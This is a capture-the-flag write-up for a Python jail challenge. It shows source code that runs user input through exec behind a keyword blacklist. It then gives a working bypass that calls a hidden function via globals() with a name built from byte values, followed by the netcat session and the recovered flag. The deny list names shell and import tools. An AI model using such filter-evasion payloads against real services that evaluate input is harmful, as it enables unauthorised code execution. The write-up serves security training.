Locked Away
3 minutes to read
We are given the Python source code that is being run by the remote instance (main.py
):
banner = r'''
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
'''
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
print(banner)
while True:
command = input('The chest lies waiting... ')
if any(b in command for b in blacklist):
print('Invalid command!')
continue
try:
exec(command)
except Exception:
print('You have been locked away...')
exit(1337)
Source code analysis
Basically, we are allowed to run Python code with exec
as long as we don’t explicitly include any of the words in blacklist
:
blacklist = [
'import', 'os', 'sys', 'breakpoint',
'flag', 'txt', 'read', 'eval', 'exec',
'dir', 'print', 'subprocess', '[', ']',
'echo', 'cat', '>', '<', '"', '\'', 'open'
]
Notice that there is a function that will give us the flag:
def open_chest():
with open('flag.txt', 'r') as f:
print(f.read())
However, we can’t execute directly open_chest
because open
is in blacklist
… Also, we can’t use exec
or eval
…
Solution
Still, in Python there is a global function called globals
that returns a dictionary with all global functions and variables of the script:
$ python3 -q
>>> globals()
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <class '_frozen_importlib.BuiltinImporter'>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>}
>>> a = 1337
>>> globals().get('a')
1337
And it also works with functions:
>>> def f():
... print('hey')
...
>>> globals().get('f')
<function f at 0x101137920>
>>> globals().get('f')()
hey
Now, we only need to use a string without single/double quotes. There are several ways, like using a list of integers as bytes
or using chr
and +
:
>>> list(b'open_chest')
[111, 112, 101, 110, 95, 99, 104, 101, 115, 116]
>>> bytes([111, 112, 101, 110, 95, 99, 104, 101, 115, 116]).decode()
'open_chest'
>>> chr(111) + chr(112) + chr(101) + chr(110) + chr(95) + chr(99) + chr(104) + chr(101) + chr(115) + chr(116)
'open_chest'
Flag
So, we have everything we need to call open_chest
and get the flag:
$ nc 94.237.54.201 58952
.____ __ .___ _____
| | ____ ____ | | __ ____ __| _/ / _ \__ _ _______ ___.__.
| | / _ \_/ ___\| |/ // __ \ / __ | / /_\ \ \/ \/ /\__ \< | |
| |__( <_> ) \___| <\ ___// /_/ | / | \ / / __ \\___ |
|_______ \____/ \___ >__|_ \\___ >____ | \____|__ /\/\_/ (____ / ____|
\/ \/ \/ \/ \/ \/ \/\/
The chest lies waiting... globals().get(bytes((111, 112, 101, 110, 95, 99, 104, 101, 115, 116)).decode())()
HTB{bL4cKl1sT?_bUt_tH4t'5_t0o_3asY}